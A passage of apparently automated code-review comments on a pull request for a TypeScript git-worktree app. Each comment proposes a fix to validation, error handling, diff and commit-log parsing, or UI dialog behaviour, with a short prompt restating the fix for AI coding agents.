loadAllFeaturesFnbut only verifiesDEFAULT_MAX_CONCURRENCY. There is no test that verifies what happens when features have dependencies andloadAllFeaturesFnis absent — which is exactly the fallback path with the bug described inauto-loop-coordinator.ts(lines 185–195). Adding a test here would both document the expected behavior and expose the current issue.Would you like me to draft a test case that verifies the correct behavior (features with completed deps should remain eligible) when
loadAllFeaturesFnis omitted?🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/tests/unit/services/auto-loop-coordinator.test.ts` around lines 826 - 845, Add a unit test that covers the fallback path when AutoLoopCoordinator is constructed with loadAllFeaturesFn = null: create a pending feature with dependencies and configure mocks so mockLoadPendingFeatures returns that feature and mockIsFeatureFinished(depId) returns true for its deps; instantiate AutoLoopCoordinator (use the same constructor pattern as the existing test), call startAutoLoopForProject and assert that the feature is treated as eligible to run (e.g., mockExecuteFeature is invoked or the coordinator schedules it), and then stop the loop; this verifies the fallback behavior in the absence of loadAllFeaturesFn and prevents the bug in the dependency-check code path (refer to AutoLoopCoordinator, loadAllFeaturesFn, mockLoadPendingFeatures, mockIsFeatureFinished, startAutoLoopForProject, and mockExecuteFeature).apps/ui/src/components/views/board-view/dialogs/merge-rebase-dialog.tsx (1)
344-351:⚠️ Potential issue | 🟡 MinorAction button label doesn't reflect the selected strategy.
The confirm button always reads "Merge & Rebase" regardless of which strategy the user selected. This can confuse the user about which operation will be performed. Consider using the selected strategy to label the button.
Proposed fix
<Button onClick={handleConfirm} disabled={!selectedBranch || isLoading} className="bg-purple-600 hover:bg-purple-700 text-white" > <GitMerge className="w-4 h-4 mr-2" /> - Merge & Rebase + {selectedStrategy === 'rebase' ? 'Rebase' : 'Merge'} </Button>🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/merge-rebase-dialog.tsx` around lines 344 - 351, The confirm button always shows the static text "Merge & Rebase"; change it to reflect the current chosen strategy by deriving the label from the strategy state (e.g., selectedStrategy or strategy) and rendering that label inside the Button (preserve the GitMerge icon and disabled logic using selectedBranch and isLoading); update the Button in the merge-rebase-dialog component so handleConfirm still runs but the visible text dynamically shows the selected strategy (e.g., "Merge", "Rebase", or "Merge & Rebase") to match the user's selection.
🟡 Minor comments (24)
apps/server/src/routes/worktree/routes/checkout-branch.ts-102-107 (1)
102-107:⚠️ Potential issue | 🟡 MinorMissing git-ref existence check for
baseBranchcauses 500 instead of 400.
baseBranchis only string-validated; there is no verification that it actually resolves to a git ref. When it doesn't,execGitCommandthrows, the outercatchfires, and the client receivesHTTP 500— semantically wrong for a caller-supplied bad value. The existing flow forbranchName(lines 89–99) already usesrev-parse --verifyfor exactly this purpose; the same pattern should be applied here.🛡️ Proposed fix — pre-flight existence check for baseBranch
+ // Validate baseBranch exists as a resolvable git ref + if (baseBranch) { + try { + await execGitCommand(['rev-parse', '--verify', baseBranch], resolvedPath); + } catch { + res.status(400).json({ + success: false, + error: `Base branch '${baseBranch}' does not exist or cannot be resolved`, + }); + return; + } + } + // Create and checkout the new branch (using argument array to avoid shell injection)🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/checkout-branch.ts` around lines 102 - 107, The code currently passes baseBranch straight into checkoutArgs and calls execGitCommand, causing a 500 on failure; add the same pre-flight git-ref existence check used for branchName (using rev-parse --verify via execGitCommand) for baseBranch before building checkoutArgs: if baseBranch is present, run execGitCommand(['rev-parse', '--verify', baseBranch], resolvedPath) and if that check fails return a 400 error to the client (instead of letting execGitCommand throw), then proceed to push baseBranch into checkoutArgs and call execGitCommand(['checkout','-b',branchName, baseBranch], resolvedPath).apps/ui/src/components/views/board-view/dialogs/stash-changes-dialog.tsx-192-199 (1)
192-199:⚠️ Potential issue | 🟡 MinorTrailing empty line from
split('\n')produces a phantom context line.When
diffTextends with a newline (standard for diffs),split('\n')yields an empty string as the last element. This empty string matchesline === ''on Line 192, causing a spurious context line to be appended to the last hunk with incorrectly incremented line numbers.Proposed fix: skip empty trailing lines
Add an early guard at the top of the loop body (after Line 133):
const line = lines[i]; + + // Skip empty trailing line from split + if (line === '' && i === lines.length - 1) continue; if (line.startsWith('diff --git')) {Alternatively, trim trailing newlines before splitting:
- const lines = diffText.split('\n'); + const lines = diffText.replace(/\n$/, '').split('\n');🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/stash-changes-dialog.tsx` around lines 192 - 199, The parser is creating a phantom context line when diffText ends with a trailing newline because split('\n') yields a final empty string that matches line === '' and increments old/new counters; update the hunk-parsing loop in stash-changes-dialog.tsx (the block that iterates over lines producing currentHunk.lines and uses oldLineNum/newLineNum) to skip a trailing empty line—e.g., add an early guard right after the loop starts: if line === '' && index === lines.length - 1 then continue (or trim trailing newlines from diffText before splitting) so you don't append a spurious context line or advance line numbers.apps/server/src/routes/worktree/routes/cherry-pick.ts-104-118 (1)
104-118:⚠️ Potential issue | 🟡 MinorContradictory response: cherry-pick is aborted but message says "resolve manually".
After a conflict is detected, the handler aborts the cherry-pick (Line 107), which restores the repo to a clean state. However, the error message on Line 114 tells the user "Conflicts need to be resolved manually," which is misleading since there are no longer any conflicts to resolve.
Suggested fix
res.status(409).json({ success: false, - error: `Cherry-pick CONFLICT: Could not apply commit(s) cleanly. Conflicts need to be resolved manually.`, + error: `Cherry-pick failed due to conflicts and was aborted. The branch is unchanged. Resolve the conflicting changes before retrying.`, hasConflicts: true, });🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/cherry-pick.ts` around lines 104 - 118, The response is contradictory: after detecting hasConflicts the handler calls execGitCommand(['cherry-pick','--abort']) to restore a clean repo, but the API message (res.status(...).json) still tells the client "Conflicts need to be resolved manually." Update the response to accurately reflect that the cherry-pick was aborted and no changes were applied (or alternatively, if you prefer to leave the repo in a conflicted state so the client can resolve, remove the abort); specifically edit the code around hasConflicts in the cherry-pick route to either 1) keep the abort and change the error text to something like "Cherry-pick aborted due to conflicts; no changes applied" (and keep hasConflicts: true or set a new flag like aborted:true), or 2) drop the execGitCommand(['cherry-pick','--abort']) call so the repo remains in conflict and retain the original message—make the choice consistent and adjust the response text accordingly (references: hasConflicts, execGitCommand, logger.warn, and the res.status(...).json block).apps/server/src/routes/worktree/routes/cherry-pick.ts-20-34 (1)
20-34:⚠️ Potential issue | 🟡 MinorNormalize
worktreePathusingpath.resolve()for consistency and security.Other worktree routes (discard-changes.ts line 33, create.ts line 62, checkout-branch.ts line 63) normalize paths with
path.resolve()before passing them to git commands. cherry-pick.ts should do the same. The middleware validation usingisGitRepo()only checks if the path is a valid git repository but doesn't prevent path traversal attacks. Usepath.resolve(worktreePath)before passing toexecGitCommandto normalize and resolve any..sequences, matching the pattern used throughout the codebase.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/cherry-pick.ts` around lines 20 - 34, Normalize the incoming worktreePath from req.body by running it through path.resolve() before any validation or use (same pattern as other routes like discard-changes.ts/create.ts/checkout-branch.ts); specifically, replace direct uses of worktreePath when calling execGitCommand and any other filesystem/git operations with the resolved value (e.g., const resolvedWorktreePath = path.resolve(worktreePath)) and use resolvedWorktreePath for validation with isGitRepo() and subsequent execGitCommand calls to prevent path traversal and ensure consistent paths across cherry-pick.ts.apps/ui/src/components/views/board-view/dialogs/discard-worktree-changes-dialog.tsx-319-323 (1)
319-323:⚠️ Potential issue | 🟡 MinorDiff-load errors are silently swallowed — call
setErrorin the catch block.When
api.git.getDiffsrejects, onlyconsole.warnfires.setIsLoadingDiffs(false)completes normally, so the UI renders the "No changes detected" empty state with no indication that a network/IPC error occurred.🛡️ Proposed fix
} catch (err) { console.warn('Failed to load diffs for discard dialog:', err); + setError(err instanceof Error ? err.message : 'Failed to load changes'); } finally {🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/discard-worktree-changes-dialog.tsx` around lines 319 - 323, The catch block for the api.git.getDiffs call currently only logs the error and lets the UI show a "No changes detected" state; update the catch to call setError(err) (or setError(String(err)) if needed) so the component's error state is set when diffs fail to load, keep the console.warn for diagnostics, and ensure setIsLoadingDiffs(false) still runs in the finally block; locate the error handling around api.git.getDiffs in the discard-worktree-changes-dialog component and add setError usage inside that catch.apps/server/src/services/auto-loop-coordinator.ts-415-419 (1)
415-419:⚠️ Potential issue | 🟡 MinorInconsistent
'main'normalization betweengetWorktreeAutoLoopKeyandresolveMaxConcurrency.
getWorktreeAutoLoopKey(line 43) still converts'main'→'__main__', so the loop map key is correct. But after this PR's change,resolveMaxConcurrencyonly convertsnull→'__main__'— passingbranchName = 'main'produces settings lookup key'proj-1::main', which never matches'proj-1::__main__', so any worktree-specificmaxConcurrencyis silently ignored.Either also normalize
'main'inresolveMaxConcurrency, or remove the legacy'main'normalization fromgetWorktreeAutoLoopKeyand enforce the "callers must passnullfor the primary worktree" contract uniformly everywhere.🔧 Quick fix (option A — keep 'main' normalization in resolveMaxConcurrency)
- const normalizedBranch = branchName === null ? '__main__' : branchName; + const normalizedBranch = (branchName === null || branchName === 'main') ? '__main__' : branchName;🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/auto-loop-coordinator.ts` around lines 415 - 419, getWorktreeAutoLoopKey and resolveMaxConcurrency disagree on how the primary branch is canonicalized: getWorktreeAutoLoopKey still maps 'main' → '__main__' but resolveMaxConcurrency only maps null → '__main__', causing lookups like 'proj-1::main' to miss worktree-specific settings; to fix, update resolveMaxConcurrency to normalize branchName === 'main' (as well as null) to '__main__' before building the worktree key (the code that constructs normalizedBranch/worktreeId), or alternatively remove the legacy 'main' → '__main__' mapping from getWorktreeAutoLoopKey and enforce callers to pass null for primary branch—prefer the former: add the same normalization logic used by getWorktreeAutoLoopKey inside resolveMaxConcurrency so both functions produce the same worktree key.apps/server/src/routes/worktree/routes/commit-log.ts-48-90 (1)
48-90:⚠️ Potential issue | 🟡 MinorLast commit's body may include the
---END---marker depending on trailing newline.
git log --format(tformat) places a newline between records but not after the last one. Splitting on"---END---\n"works for all but the final block, which ends with---END---(no trailing\n). That leftover text becomes part of the last commit's body on Line 86.Proposed fix — strip the marker before parsing
- const commitBlocks = logOutput.split('---END---\n').filter((block) => block.trim()); + const commitBlocks = logOutput + .split('---END---') + .map((block) => block.replace(/^\n/, '')) // strip leading \n from inter-record separator + .filter((block) => block.trim());🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/commit-log.ts` around lines 48 - 90, The commit parsing can include the trailing '---END---' in the last commit body because we split on '---END---\n'; change the split to use '---END---' (or strip the marker) and then trim/filter so the marker is removed before parsing. Update the commitBlocks assignment (where logOutput.split('---END---\n') is used) to logOutput.split('---END---').filter((block) => block.trim()) or explicitly remove a trailing '---END---' from logOutput before splitting, then proceed with the existing parsing and commits.push logic; this ensures the last commit's body doesn't contain the marker.apps/server/src/routes/worktree/routes/branch-commit-log.ts-36-38 (1)
36-38:⚠️ Potential issue | 🟡 Minor
limit=0currently becomes 20 instead of clamping to 1.
Number(limit) || 20treats 0 as falsy, so a client passing 0 gets 20. Consider a finite-number guard before clamping.🔧 Suggested fix
- const commitLimit = Math.min(Math.max(1, Number(limit) || 20), 100); + const parsedLimit = Number(limit); + const normalizedLimit = Number.isFinite(parsedLimit) ? parsedLimit : 20; + const commitLimit = Math.min(Math.max(1, normalizedLimit), 100);🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/branch-commit-log.ts` around lines 36 - 38, The clamp logic for commitLimit treats limit=0 as falsy and falls back to 20; change it to parse and validate the numeric value first (e.g., parse Number(limit) into a variable), use Number.isFinite to decide whether to use that parsed value or the default 20, then apply Math.max(1, ...) and Math.min(..., 100) to compute commitLimit; update the expression that sets commitLimit (referencing the variables limit and commitLimit) so a passed 0 becomes 1 instead of 20 while non-finite inputs still use the default.apps/ui/src/components/views/board-view/dialogs/select-remote-dialog.tsx-66-105 (1)
66-105:⚠️ Potential issue | 🟡 MinorKeep
selectedRemotein sync when remotes refresh.If a remote is removed,
selectedRemotecan point to a non-existent entry and still be sent on confirm. Preserve the current selection only if it still exists; otherwise fall back to origin/first.🔧 Suggested fix
- setRemotes(remoteInfos); + setRemotes(remoteInfos); + setSelectedRemote((current) => { + if (current && remoteInfos.some((r) => r.name === current)) return current; + const fallback = remoteInfos.find((r) => r.name === 'origin') || remoteInfos[0]; + return fallback?.name ?? ''; + });Apply the same logic in
handleRefresh.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/select-remote-dialog.tsx` around lines 66 - 105, When remotes refresh (e.g., in handleRefresh or after fetchRemotes) the current selectedRemote may no longer exist; update the state so selectedRemote is preserved only if present in the new remotes array, otherwise set it to remotes.find(r => r.name === 'origin')?.name || remotes[0]?.name (or '' if none). Concretely, in handleRefresh (or immediately after setRemotes in fetchRemotes) check the new remotes list against selectedRemote and call setSelectedRemote with the existing selection if it still exists, or with the fallback origin/first/empty value; use the existing remotes, selectedRemote, setRemotes, and setSelectedRemote symbols to locate and modify the logic.apps/ui/src/components/views/board-view/dialogs/create-pr-dialog.tsx-104-117 (1)
104-117:⚠️ Potential issue | 🟡 MinorRefreshing remotes overwrites the user’s selection even when it’s still valid.
fetchRemotesalways resets to origin/first. Preserve the current selection if it still exists to avoid accidental remote switches.🔧 Suggested fix
- if (remoteInfos.length > 0) { - const defaultRemote = remoteInfos.find((r) => r.name === 'origin') || remoteInfos[0]; - setSelectedRemote(defaultRemote.name); - } + if (remoteInfos.length > 0) { + const defaultRemote = remoteInfos.find((r) => r.name === 'origin') || remoteInfos[0]; + setSelectedRemote((current) => + current && remoteInfos.some((r) => r.name === current) + ? current + : defaultRemote.name + ); + }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/create-pr-dialog.tsx` around lines 104 - 117, When updating remotes in the fetchRemotes result handler, don't unconditionally reset the UI selection; check the existing selectedRemote state and only call setSelectedRemote when the current selection no longer exists in the new remoteInfos list. In the block that builds remoteInfos (remoteInfos, setRemotes), compute whether selectedRemote (or its local state variable) is present in remoteInfos.map(r => r.name); if present, leave it alone, otherwise fall back to finding 'origin' or remoteInfos[0] and call setSelectedRemote(defaultRemote.name). This preserves user selection during refreshes.apps/server/src/routes/worktree/routes/switch-branch.ts-307-316 (1)
307-316:⚠️ Potential issue | 🟡 MinorRecovery after checkout failure may leave the working directory in a conflicted state.
If checkout fails and
didStashis true, Line 311 callspopStashto restore the stash. However, ifpopStashitself results in merge conflicts (e.g., the user is now on a partially-switched or original branch with conflict markers), the working directory is silently left in a conflicted state. The outer catch (Line 318–320) returns a generic 500 error with no indication that the stash was partially applied with conflicts.Consider checking the
popStashresult and including that information in the error response, so the user knows they may need to resolve conflicts or that their changes are in the stash list.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/switch-branch.ts` around lines 307 - 316, When checkout fails and didStash is true, the catch block calls popStash(worktreePath) but swallows any errors and never surfaces whether the stash application produced conflicts; update the error handling in the catch for checkoutError to inspect the result/error from popStash (or have popStash return a status) and, if popStash reports merge conflicts or returns non-clean status, include that information in the thrown error or returned response alongside checkoutError; reference the didStash flag, the popStash(worktreePath) call, and the caught checkoutError so the code surfaces a clear message indicating "stash pop resulted in conflicts" (or similar) to guide the user to resolve conflicts or re-stash.apps/server/src/routes/worktree/routes/stash-drop.ts-33-41 (1)
33-41:⚠️ Potential issue | 🟡 MinorSame
stashIndexvalidation gap as instash-apply.ts.Apply the same
Number.isInteger(stashIndex) && stashIndex >= 0guard here. This is especially important fordropsince it's a destructive operation.🛠️ Proposed fix
- if (stashIndex === undefined || stashIndex === null) { + if (stashIndex === undefined || stashIndex === null || !Number.isInteger(stashIndex) || stashIndex < 0) { res.status(400).json({ success: false, - error: 'stashIndex required', + error: 'stashIndex must be a non-negative integer', }); return; }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/stash-drop.ts` around lines 33 - 41, The current guard in the stash-drop route only checks for undefined/null for stashIndex, which is insufficient for this destructive operation; change the validation to require Number.isInteger(stashIndex) && stashIndex >= 0 before proceeding, return the same 400 JSON error when the check fails, and only construct the stashRef (`stashRef = \`stash@{${stashIndex}}\``) and continue with the drop logic after the stricter validation.apps/server/src/routes/worktree/routes/stash-apply.ts-35-43 (1)
35-43:⚠️ Potential issue | 🟡 MinorValidate
stashIndexis a non-negative integer.
stashIndexis typed asnumberbut originates from a JSON body—it could be a float, negative, or even a string if the client sends malformed JSON. The current check only guards againstundefined/null. An invalid value like-1or1.5would produce a malformedstash@{-1}ref, causing an unhelpful git error.🛠️ Proposed fix
- if (stashIndex === undefined || stashIndex === null) { + if (stashIndex === undefined || stashIndex === null || !Number.isInteger(stashIndex) || stashIndex < 0) { res.status(400).json({ success: false, - error: 'stashIndex required', + error: 'stashIndex must be a non-negative integer', }); return; }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/stash-apply.ts` around lines 35 - 43, Validate and normalize stashIndex before constructing stashRef: coerce string inputs to numbers (e.g., let idx = typeof stashIndex === 'string' ? Number(stashIndex) : stashIndex), then ensure Number.isInteger(idx) and idx >= 0; if the value is NaN, non-integer, or negative return a 400 JSON error (e.g., "stashIndex must be a non-negative integer") and only then set stashRef = `stash@{${idx}}`. Use the symbols stashIndex and stashRef to locate and update the validation logic.apps/server/src/routes/worktree/routes/stash-list.ts-74-76 (1)
74-76:⚠️ Potential issue | 🟡 MinorDefaulting to index
0on parse failure could collide with a real stash.If
refSpecdoesn't match the expectedstash@{N}pattern (e.g., due to an unexpected git output format), the stash entry is silently assigned index0, which would collide with the actualstash@{0}. This could cause a user to accidentally drop or apply the wrong stash.Consider skipping the entry instead:
🛠️ Proposed fix
const indexMatch = refSpec.match(/stash@\{(\d+)\}/); - const index = indexMatch ? parseInt(indexMatch[1], 10) : 0; + if (!indexMatch) continue; + const index = parseInt(indexMatch[1], 10);🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/stash-list.ts` around lines 74 - 76, The current stash parsing code uses const indexMatch = refSpec.match(/stash@\{(\d+)\}/); const index = indexMatch ? parseInt(indexMatch[1], 10) : 0; which silently defaults to 0 on parse failure and can collide with a real stash; change the logic in stash-list.ts so that when indexMatch is falsy you skip processing that refSpec (e.g., continue/return for this iteration) instead of assigning index 0, and only call parseInt when indexMatch exists, ensuring any code that uses index (drop/apply/list) only runs for valid stash@{N} matches.apps/ui/src/components/dialogs/project-file-selector-dialog.tsx-83-111 (1)
83-111:⚠️ Potential issue | 🟡 MinorMissing cancellation guard in
browseDirectory— stale state updates possible on close/reopen.
browseDirectoryis an async callback invoked by theuseEffecton line 118, but there is no cancellation flag. If the user closes the dialog (orprojectPathchanges) while a browse request is in-flight, the response will update state on a stale dialog instance. Although the effect'selsebranch clears state on close, a late-arriving response can clobber that cleared state.Proposed fix — add AbortController or cancelled flag
useEffect(() => { if (open) { setSelectedPaths(new Set()); setSearchQuery(''); + let cancelled = false; - browseDirectory(); + browseDirectory().then(() => { + // handled inside browseDirectory + }); + // Alternatively, refactor browseDirectory to accept a signal: + return () => { cancelled = true; }; } else { setCurrentRelativePath(''); setParentRelativePath(null); setEntries([]); setError(''); setWarning(''); setSelectedPaths(new Set()); setSearchQuery(''); } }, [open, browseDirectory]);A cleaner approach would be to move the fetch logic inline in the effect and guard all setters with
if (!cancelled), similar to the pattern used incommit-worktree-dialog.tsx.Also applies to: 113-128
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/dialogs/project-file-selector-dialog.tsx` around lines 83 - 111, The async browseDirectory callback can update state after the dialog is closed, so add a cancellation guard: either use an AbortController passed into apiPost or introduce a boolean cancelled flag inside the useEffect that calls browseDirectory, and wrap all state setters in browseDirectory (setLoading, setError, setWarning, setSearchQuery, setCurrentRelativePath, setParentRelativePath, setEntries) with if (!cancelled) before setting; alternatively move the fetch logic inline into the useEffect and apply the same cancelled guard (see the pattern used in commit-worktree-dialog.tsx) so late responses do not clobber cleared state when the dialog is closed or projectPath changes.apps/ui/src/components/views/board-view/worktree-panel/components/worktree-actions-dropdown.tsx-453-501 (1)
453-501:⚠️ Potential issue | 🟡 MinorStash operations use a weaker guard than other git operations.
Other git operations (Pull, Push, View Commits, Cherry Pick) check
canPerformGitOpswhich requires bothisGitRepoandhasCommits. The stash submenu only checksgitRepoStatus.isGitRepo(line 455, 463, 470). Git requires at least one commit to create a stash, so users could trigger stash on a repo with no commits and get an unhelpful git error.Consider using
canPerformGitOpsconsistently here, or at least checkinghasCommitsas well.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/worktree-panel/components/worktree-actions-dropdown.tsx` around lines 453 - 501, Replace the weaker gitRepoStatus.isGitRepo checks in this stash UI with the broader canPerformGitOps guard so stash actions are disabled when the repo is missing commits as well; specifically, update the TooltipWrapper showTooltip and tooltipContent, the DropdownMenuItem disabled/early-return logic (the onClick handler that references gitRepoStatus.isGitRepo), the conditional rendering of the AlertCircle, and the DropdownMenuSubTrigger disabled/className checks to use canPerformGitOps (or gitRepoStatus.hasCommits combined with gitRepoStatus.isGitRepo) instead of gitRepoStatus.isGitRepo; keep existing behavior for worktree.hasChanges/onStashChanges/onViewStashes but ensure onStashChanges is only callable when canPerformGitOps is true.apps/ui/src/components/views/board-view/dialogs/merge-rebase-dialog.tsx-170-174 (1)
170-174:⚠️ Potential issue | 🟡 Minor
handleConfirmdoesn'tawaitthe potentially asynconConfirm.
onConfirmis typed as returningvoid | Promise<void>, buthandleConfirmcalls it synchronously and immediately closes the dialog. If the caller returns a Promise (e.g., performs an async git operation), the dialog will close before the operation completes, swallowing any error feedback.Proposed fix
- const handleConfirm = () => { - if (!worktree || !selectedBranch) return; - onConfirm(worktree, selectedBranch, selectedStrategy); - onOpenChange(false); - }; + const handleConfirm = async () => { + if (!worktree || !selectedBranch) return; + await onConfirm(worktree, selectedBranch, selectedStrategy); + onOpenChange(false); + };🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/merge-rebase-dialog.tsx` around lines 170 - 174, The handleConfirm currently calls onConfirm(worktree, selectedBranch, selectedStrategy) synchronously and immediately closes the dialog; change handleConfirm into an async function, await the potentially returned Promise from onConfirm, and only call onOpenChange(false) after the await completes successfully; wrap the await in a try/catch to handle or rethrow errors (e.g., show/log error or propagate to caller) so async failures are not swallowed. Use the existing identifiers handleConfirm, onConfirm, onOpenChange, worktree, selectedBranch, and selectedStrategy when making this change.apps/server/src/routes/fs/routes/browse-project-files.ts-130-134 (1)
130-134:⚠️ Potential issue | 🟡 MinorInconsistent path separator handling on Windows.
currentRelativePathis set frompath.normalize()(which uses OS-native separators), but line 133 concatenates with a hardcoded/. On Windows this would produce mixed separators likesrc\lib/file.ts.Use
path.joinor normalize the relative path to forward slashes consistently:Proposed fix
.map((entry) => { - const entryRelativePath = currentRelativePath - ? `${currentRelativePath}/${entry.name}` - : entry.name; + const entryRelativePath = currentRelativePath + ? path.join(currentRelativePath, entry.name) + : entry.name;🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/fs/routes/browse-project-files.ts` around lines 130 - 134, The code builds entryRelativePath by concatenating currentRelativePath with '/' which mixes separators on Windows; inside the map where entryRelativePath is created (variable currentRelativePath and entry.name), replace the manual string concat with path.join(currentRelativePath, entry.name) (or if consumers require forward slashes, use path.posix.join or call .replace(/\\/g, '/') on the result) and ensure the module importing/using path is available in the scope where this mapping occurs.apps/ui/src/components/views/board-view/dialogs/commit-worktree-dialog.tsx-407-418 (1)
407-418:⚠️ Potential issue | 🟡 Minor
handleKeyDownonly checksmetaKey— Ctrl+Enter won't work on Windows/Linux.The keyboard shortcut only checks
e.metaKey(Cmd key on Mac). On Windows/Linux, users would expect Ctrl+Enter. TheProjectFileSelectorDialogin this same PR correctly checks(e.metaKey || e.ctrlKey)(line 196). The footer hint text (line 661) also only mentions "Cmd+Enter".Proposed fix
const handleKeyDown = (e: React.KeyboardEvent) => { if ( e.key === 'Enter' && - e.metaKey && + (e.metaKey || e.ctrlKey) && !isLoading && !isGenerating && message.trim() && selectedFiles.size > 0 ) { handleCommit(); } };And update the hint text:
<p className="text-xs text-muted-foreground"> - Press <kbd className="px-1 py-0.5 bg-muted rounded text-xs">Cmd+Enter</kbd> to commit + Press <kbd className="px-1 py-0.5 bg-muted rounded text-xs">{isMac ? 'Cmd' : 'Ctrl'}+Enter</kbd> to commit </p>🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/commit-worktree-dialog.tsx` around lines 407 - 418, The keyboard handler handleKeyDown only checks e.metaKey so Ctrl+Enter on Windows/Linux won't trigger handleCommit; update handleKeyDown to use (e.metaKey || e.ctrlKey) in its condition (keeping checks for e.key === 'Enter', !isLoading, !isGenerating, message.trim(), and selectedFiles.size > 0) so both Cmd+Enter and Ctrl+Enter work, and also update the footer hint text that currently says "Cmd+Enter" to a platform-neutral "Cmd/Ctrl+Enter" (or similar) to reflect the shortcut change.apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx-70-91 (1)
70-91:⚠️ Potential issue | 🟡 MinorDon’t overwrite the user’s base-branch selection on refresh.
fetchBranchesalways resetsbaseBranchto the current branch, so clicking Refresh discards the user’s selection. Consider preserving selection on refresh and only defaulting on initial load.💡 Suggested fix
- const fetchBranches = useCallback(async () => { + const fetchBranches = useCallback(async (opts?: { preserveSelection?: boolean }) => { if (!worktree) return; setIsLoadingBranches(true); try { const api = getHttpApiClient(); const result = await api.worktree.listBranches(worktree.path, true); if (result.success && result.result) { setBranches(result.result.branches); // Default to current branch - if (result.result.currentBranch) { + if (result.result.currentBranch && !opts?.preserveSelection) { setBaseBranch(result.result.currentBranch); } } } catch (err) { logger.error('Failed to fetch branches:', err); } finally { setIsLoadingBranches(false); } - }, [worktree]); + }, [worktree]); ... - onClick={fetchBranches} + onClick={() => fetchBranches({ preserveSelection: true })}Also applies to: 207-220
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/create-branch-dialog.tsx` around lines 70 - 91, fetchBranches currently always resets baseBranch to the worktree current branch, which overwrites a user selection on refresh; modify fetchBranches (and the similar code block) to preserve user choice by only calling setBaseBranch(result.result.currentBranch) when there is no existing baseBranch (i.e., baseBranch is null/undefined) or when the existing baseBranch is not present in the newly fetched branches; to implement this, read the current baseBranch state inside fetchBranches (add baseBranch to the useCallback deps), update setBranches(result.result.branches) as before, then conditionally call setBaseBranch(...) only if baseBranch is falsy or not included in result.result.branches.apps/ui/src/components/views/board-view/dialogs/view-commits-dialog.tsx-49-67 (1)
49-67:⚠️ Potential issue | 🟡 MinorGuard against invalid commit dates.
If the server returns a malformed date, this currently renders “Invalid Date.” A small guard keeps the UI clean.🛠️ Suggested fix
function formatRelativeDate(dateStr: string): string { - const date = new Date(dateStr); + const date = new Date(dateStr); + if (isNaN(date.getTime())) return 'Unknown date'; const now = new Date();🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/view-commits-dialog.tsx` around lines 49 - 67, The formatRelativeDate function can produce "Invalid Date" when given malformed or empty input; guard by validating the parsed Date early (e.g., check isNaN(date.getTime()) or !dateStr) and return a clean fallback like "unknown date" (or an empty string) instead of proceeding with calculations; update formatRelativeDate to early-return on invalid dates so subsequent math (diffMs, diffSecs, etc.) never runs and the UI stays clean.apps/ui/src/components/views/board-view/dialogs/cherry-pick-dialog.tsx-472-472 (1)
472-472:⚠️ Potential issue | 🟡 MinorCherry icon forced to
text-black dark:text-black— invisible on dark backgrounds.On lines 472 and 676, the
Cherryicon usestext-black dark:text-black, which renders the icon black in both light and dark themes. If the dialog header has a dark background in dark mode, this icon will be invisible or very hard to see. Consider usingtext-foregroundor a themed cherry color instead.Also applies to: 676-676
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/cherry-pick-dialog.tsx` at line 472, The Cherry icon instances are hard-coded with "text-black dark:text-black" which makes them invisible on dark headers; update both Cherry usages to use a theme-aware class like "w-5 h-5 text-foreground" (or another appropriate token such as "text-muted-foreground" / "text-primary") instead of forcing black, i.e., change the className passed to the Cherry component from "w-5 h-5 text-black dark:text-black" to a foreground-aware class so the icon remains visible in both light and dark themes.apps/ui/src/components/views/board-view/dialogs/cherry-pick-dialog.tsx-165-178 (1)
165-178:⚠️ Potential issue | 🟡 MinorState reset on dialog open does not clear
loadingBranches.If the dialog is closed while branches are still loading and then quickly reopened,
loadingBranchescan still betruefrom the previous open, causing a brief stale loading indicator (or worse, the fetch effect may not re-trigger ifopenandworktreehaven't changed). Consider addingsetLoadingBranches(false)to the reset block.🐛 Proposed fix
useEffect(() => { if (open) { setStep('select-branch'); setSelectedRemote(''); setSelectedBranch(''); setCommits([]); setSelectedCommitHashes(new Set()); setExpandedCommits(new Set()); setConflictInfo(null); setCommitsError(null); setCommitLimit(30); setHasMoreCommits(false); + setLoadingBranches(false); } }, [open]);🤖 Prompt for AI Agents
